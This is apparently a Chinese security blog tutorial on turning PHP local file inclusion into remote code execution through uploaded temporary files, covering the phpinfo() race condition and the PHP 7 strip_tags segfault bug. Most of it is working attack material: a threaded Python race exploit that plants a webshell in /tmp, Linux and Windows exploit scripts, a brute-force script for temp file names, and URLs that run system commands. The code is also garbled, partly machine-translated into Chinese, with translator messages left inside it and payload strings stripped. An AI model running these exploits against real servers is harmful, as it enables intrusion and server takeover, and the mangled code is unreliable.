整理PHP文件包含漏洞姿势,本地文件包含利用临时文件拿权限技巧
前言

最近在整理PHP文件包含漏洞的利用方法时,发现了一些好用的方法。这些方法是关于本地文件包含漏洞的,能够利用临时文件包含恶意代码来获取Webshell。于是,打算详细整理一番。
PHP LFI
PHP LFI本地文件包含漏洞主要是去包含本地服务器存储的一些文件。像session文件、日志文件、临时文件等。然而。只有我们可以控制包含的文件。存储我们的恶意代码。才能拿到服务器权限。
要是在服务器上找不到能包含的文件。那该如何是好。这时可利用一些技巧让服务存储恶意生成的临时文件。该临时文件含有构造的恶意代码。如此服务器就有了能包含的文件。
目前 常见的两种临时文件包含漏洞利用方法主要是 PHPINFO() 和 PHP7 Segment Fault 利用这两种方法 能够向服务器上传文件 同时在服务器上生成恶意临时文件 将恶意临时文件包含 便可达到任意代码执行效果 进而拿到服务器权限 进行后续操作
临时文件
在了解漏洞利用方式的时候,先来了解一下PHP临时文件的机制
[id_1050389838]
在PHP里 能运用POST方法 或者PUT方法 来上传文本 以及二进制文件 上传的文件信息 会存于全局变量$_FILES中
$_FILES超级全局变量很特别。它是预定义超级全局数组里唯一的二维数组。其用途是存储各类和上传文件相关的信息。这些信息对通过PHP脚本上传至服务器的文件极为关键。
$_FILES['userfile'][[id_2030828052]] 客户端文件的原名称。$_FILES['userfile']['type'文件的MIME类型 若浏览器提供该信息支持 比如"image/gif"$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。$_FILES['userfile']['tmp_文件被上传后在服务端储存的临时文件名 通常是系统默认的 可在php.ini的upload处设置_tmp_dir 指定,默认是/tmp目录。$_FILES['userfile']['error'该文件上传存在错误代码。若上传成功,其值是0。若上传失败,其值是错误信息。$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名在临时文件包含漏洞里,获取$_FILES['userfile']['name']这个变量值十分关键。临时文件名字由随机函数生成。唯有知晓文件名字,才能正确包含它。
存储目录
文件上传后。默认会存储到服务端的默认临时目录。该临时目录由php.ini的upload_tmp_dir属性指定。若upload_tmp_dir路径不可写。PHP会上传到系统默认临时目录。
不同系统服务器有常见的临时文件默认存储目录。了解系统的默认存储路径十分重要。因为很多时候服务器是按默认设置运行的。
Linux目录
Linux系统服务的临时文件主要存于根目录的tmp文件夹中。这些临时文件拥有一定的开放权限。
/tmp/Windows目录
Windows系统服务的临时文件主要存于系统盘的Windows文件夹。这些临时文件有一定开放权限。
C:/Windows/C:/Windows/Temp/命名规则
此时必须知道其命名规则
可以通过phpinfo来查看临时文件的信息。
[id_395311717]
Linux临时文件主要存于/tmp/目录。其格式一般为(/tmp/php[6个随机字符])
Windows Temporary File
Windows临时文件主要存于C:/Windows/目录。其格式一般为(C:/Windows/php[4个随机字符].tmp)
PHPINFO特性
经过上述介绍可知 服务器上存储的临时文件名是随机的 所以很难获取其真实文件名 然而 要是目标网站上有phpinfo 那么就能借助phpinfo获取临时文件名 进而开展包含操作
虽说这个漏洞很早就出现了。2011年,国外安全研究人员公布了这种攻击手法。不过这个技巧是个很经典的例子,不会被遗忘。
测试代码
[id_692561192]
$file = $_GET['file'];include($file);phpinfo.php
漏洞分析
我们给PHP发送POST数据包时 若数据包含文件区块 不管访问的代码有无处理文件上传逻辑 PHP都会把文件保存成临时文件 文件名能在$_FILES变量中找到 这个临时文件 在请求结束后会被删除
利用phpinfo的特性对我们帮助很大。phpinfo页面会打印出当前请求上下文中的所有变量。所以若向phpinfo页面发送包含文件区块的数据包,就能在返回包里找到$_FILES变量的内容。拿到临时文件变量名后,便可包含执行我们传入的恶意代码。
漏洞利用
PHPINFO的这种特性源自php自身。它和php的版本没有关系。测试脚本
编写脚本。上传文件。探测是否存在phpinfo。探测是否包含临时文件的信息。
import requestsfiles = {'file': ("aa.txt","ssss")}url = "http://x.x.x.x/phpinfo.php"r通过向url发送post请求得到,请求时携带files,并且不允许重定向print(r.text)运行脚本向服务器发出请求可以看到回显中有如下内容
Linux
Windows
利用原理
验证了phpinfo的特性确实存在。所以当在文件包含漏洞中找不到可利用的文件时。我们能够利用这一特性。找到并提取临时文件名。然后包含它就可以Getshell。
但文件包含漏洞与phpinfo页面一般是两个页面。理论上我们要先给phpinfo页面发送数据包。接着从返回页面中找出临时文件名。再把这个文件名发送给文件包含漏洞页面来进行getshell。第一个请求结束时临时文件会被删除。第二个请求自然就无法进行包含操作了。
利用过程
这个时候就需要用到条件竞争,具体原理和过程如下:
发送包含webshell的上传数据包至phpinfo页面。该数据包的header位置要塞满垃圾数据。该数据包的get位置也要塞满垃圾数据。
因为phpinfo页面会打印出所有数据。1中的垃圾数据会把整个phpinfo页面撑得极大。
php默认输出缓冲区大小是4096。这意味着php每次会返回4096个字节给socket连接
所以 我们直接操作原生socket 每次读取4096个字节 只要读取到的字符中包含临时文件名 就立刻发送第二个数据包
此时 第一个数据包的socket连接实际尚未结束 php还在每次继续输出4096个字节 所以临时文件此时未被删除
最终实现getshell
(参考ph牛:)
Getshell
借助ph牛的代码,无需重复造轮子,直接改动脚本几个主要地方就能成功运行。比如上传的恶意文件内容、phpinfo.php和index.php对应文件的文件名与位置、系统临时文件写入目录等
exp.py
#!/usr/bin/python#python version 2.7import sysimport threadingimport socketdef setup(host, port):TAG = "Security Test"PAYLOAD = """%sr')?>r""" % TAG# PAYLOAD = """%sr# ')?>r""" % TAGREQ1_DATA = 请提供具体的句子内容,以便我进行改写。Content-Disposition: 表单数据; 名称="dummyname"; 文件名="test.txt"Content-Type: text/plainrr%s请你提供一下具体的句子内容,以便我按照要求进行改写。 % PAYLOADpadding = "A" * 5000REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1rCookie:PHPSESSID的值为q249llvfromc1or39t6tvnun42;还有一个名为othercookie的,其值为""" + padding + """rHTTP_ACCEPT: """ + padding + """rHTTP_USER_AGENT: """ + padding + """rHTTP_ACCEPT_LANGUAGE: """ + padding + """rHTTP_PRAGMA: """ + padding + """r内容类型:多部分表单数据;边界=---------------------------7dbff1ded0714rContent-Length: %srHost: %srr%s"""%(REQ1_DATA的长度, 主机, REQ1_DATA)修改这个以适合本地文件包含脚本LFIREQ = 获取 /index.php?file=%s HTTP/1.1rUser-Agent: Mozilla/4.0rProxy-Connection: Keep-AliverHost: %srrr"""return (REQ1, TAG, LFIREQ)def phpInfoLFI主机、端口、PHP信息请求、偏移量、日志请求、标签:该套接字使用TCP协议该套接字使用SOCK_STREAM套接字类型s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] => ")fn = d[i + 17:i + 31]except ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter = 0class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):调用 threading.Thread 的 __init__ 方法并传入 selfself.event = eself.lock = lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter += 1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print 明白了!在/tmp/Qftm.php中创建了外壳程序self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):获取php输出中tmp_name的偏移量s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d += iif i == "":break# detect the final chunkif i.endswith("0rnrn"):breaks.close()i = d.find("[tmp_name] => ")if i == -1:raise ValueError(在phpinfo输出中没有php临时文件名)print "found %s at %i" % (d[i:i + 10], i)# padded up a bitreturn i + 256def main():print "LFI With PHPInfo()"print "-=" * 30if len(sys.argv) < 2:print 用法:%s主机 [端口] [线程数] % sys.argv[0]sys.exit(1)try:主机 = 通过系统参数获取主机名对应的IP地址 (原句存在错误,正确的应该是host = socket.gethostbyname(sys.argv[1]),这里按照纠正后的意思进行改写)1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port = 80try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz = 10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print "Getting initial offset...",reqphp、tag、reqlfi通过host、port进行设置偏移量等于获取偏移量,参数分别为主机、端口、请求的PHP文件sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print 生成工作线程池(%d)... % poolszsys.stdout.flush()tp = []for i in range(0, poolsz):创建一个线程工作者对象。该对象的参数包括e、l、最大尝试次数、主机、端口、请求的PHP文件、偏移量、请求的LFI文件、标签。将这个对象添加到tp列表中。for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakif e.is_set():print "Woot! m/"else:print ":("except KeyboardInterrupt:print 正在告知线程关闭……e.set()print "Shuttin' down..."for t in tp:t.join()if __name__ == "__main__":main()/tmp/Qftm后门文件
拿到RCE之后,可以查看tmp下生成的后门文件
http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system(%27ls%20/tmp/%27)然后使用后门管理工具连接后门webshell
/tmp/Qftm php7 Segment Fault
利用条件
7.0.0 <= PHP Version < 7.0.28漏洞分析
上面提到的姿势中包含临时文件。要知道phpinfo,还需条件竞争。若不存在phpinfo,我们就很难利用上述方法去getshell。
那么要是目标中不存在phpinfo该怎么办呢?这里能够利用php7 segment fault特性(CVE-2018-14884)来进行Bypass
在php代码里运用php://filter的strip_tags过滤器,能使php执行时直接出现Segment Fault。如此一来,php的垃圾回收机制便不会继续执行。这会致使POST的文件保存在系统缓存目录下,不会被清除,不像phpinfo那样上传的文件很快就会被删除。在这种情形下,我们只要知晓其文件名,就能包含恶意代码。
漏洞修复
官方在PHP Version 7.0.28时已经修复该漏洞
官方php7更新日志信息
https://www.php.net/ChangeLog-7.phpPayload
更具漏洞分析构造可利用的payload:
http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd这种包含会致使php执行时出现segment fault。这时上传文件,临时文件会存于upload_tmp_dir指定的目录,不会被删掉。如此便能实现getshell的目标。
代码环境
测试代码
index.php
$a = @$_GET['file'];include $a;dir.php
$a = @$_GET['dir'];var_dump(scandir($a));?测试环境
PHP Version 7.0.9漏洞利用
攻击载荷
string.strip_tags过滤器致使出现php段错误
index.php?file=php://过滤器/去除字符串中的HTML标签/资源=index.php可以看到上面这种情况会致使php执行时出错。这时上传文件,临时文件会保存在upload_tmp_dir指定的目录。所以不会被删除,而是一直存于服务的临时目录中。
攻击利用-技巧1
我们可以通过dir.php辅助查找生成的临时文件
编写 Linux Exp
Linux网络攻击环境下的脚本编写
#python version 2.7import requestsfrom io import BytesIOimport refiles = {'file': BytesIO(')}url1 = 参数file的值是php://filter/string.strip_tags/resource=index.php请你提供完整的内容,以便我能准确地按照要求进行改写。目前你给出的“r = requests.post(url=url1, files=files, allow_redirects=”并不完整。False)url2 = 其中dir参数的值为/tmp/r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"url3=其中index.php文件的路径指向/tmp/+datadata = {'Qftm':"system('whoami');"}r等于requests发送post请求,请求的网址是url3,发送的数据是dataprint r.content编写 Windows Exp
windows网络攻击环境下的脚本编写
#python version 2.7import requestsfrom io import BytesIOimport refiles = {'file': BytesIO(')}url1 = 该网址中的file参数值为php://filter/string.strip_tags/resource=index.phpr = requests.post(url=url1, files=files, allow_redirects=False)url2 = 其参数dir的值为C:/Windows/r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"url3=其文件路径为C:/Windows/+data+'.tmp'data = {'Qftm':"system('whoami');"}r = requests.post(url=url3,data=data)print r.content系统EXP利用
针对不同的系统环境运行脚本就可以RCE拿到任意代码执行
然后查看服务器上恶意临时文件,确实存在未被删除!!
http://192.168.68.119/web/fi/dir.php?file=C:/Windows/Getshell
我们上传的恶意临时文件未被删除。如此一来,便能使用Webshell管理工具蚁剑。对php2EFF.tmp进行包含利用。
C:/Windows/php2EF.tmp攻击利用-技巧2
暴力破解
假如没有dir.php 还能否利用呢 答案是能的 因为我们传入的恶意文件未被删除 如此我们便可以爆破该文件的文件名
在上面的讲述里 我们了解到 不同系统 默认的临时文件存储路径不同 存储方式也不一样
Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])
Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)
对比Linux与Windows,Windows需破解的位数比Linux少,所以Windows的破解速度比Linux快,位数越长,耗费的时间越多。
攻击载荷
编写临时文件生成和暴力破解攻击载荷
#python version 2.7import requestsfrom io import BytesIOfiles = {'file': BytesIO(')}url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)暴力破解功能模块url2=其文件路径为C:/Windows/php+{fuzz}+'.tmp&Qftm=system('whoami');'data = fuzzprint "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"########################暴力破解模块########################对于暴力破解模块,能自己添加多线程模块来暴力破解。也可把暴力破解模块拿出单独fuzz。比较常用的做法是,将一些fuzz工具的模块拿出,添加进去并稍微改下接口就能直接用。
推荐直接用fuzz工具开展fuzz测试 fuzz工具通常包含多线程 还有自定义字典等 使用起来便利 无需花时间编写调试代码
个人较为喜爱运用Fuzz大法。它在目录扫描方面很灵活。在后台扫描方面也十分灵活。于Web漏洞模糊测试方面同样极为灵活。
推荐几款好用的Fuzz工具
基于Go开发:gobuster https://github.com/OJ/gobuster它是基于Java开发的。dirbuster是OWASP的杰出工具。它是kali自带的。基于Python开发:wfuzz https://github.com/xmendez/wfuzz进行fuzz测试时要配置参数 我这里采用Kali自带的dirbuster来开展模糊测试
参数设置好之后,开始进行fuzz测试
后门文件的恶意代码正常解析执行
Getshell
拿到我们上传的恶意临时文件的文件名后可进行包含利用。同样,我们上传的恶意临时文件未被删除。使用Webshell管理工具对php2EFF.tmp后门文件进行包含利用。
Refference
https:/数据包风暴安全网络的论文存放处/数据包风暴安全网络的论文所在位置/general/LFI与PHP信息协助相关的PDF文件https://www.php.net/ChangeLog-7.php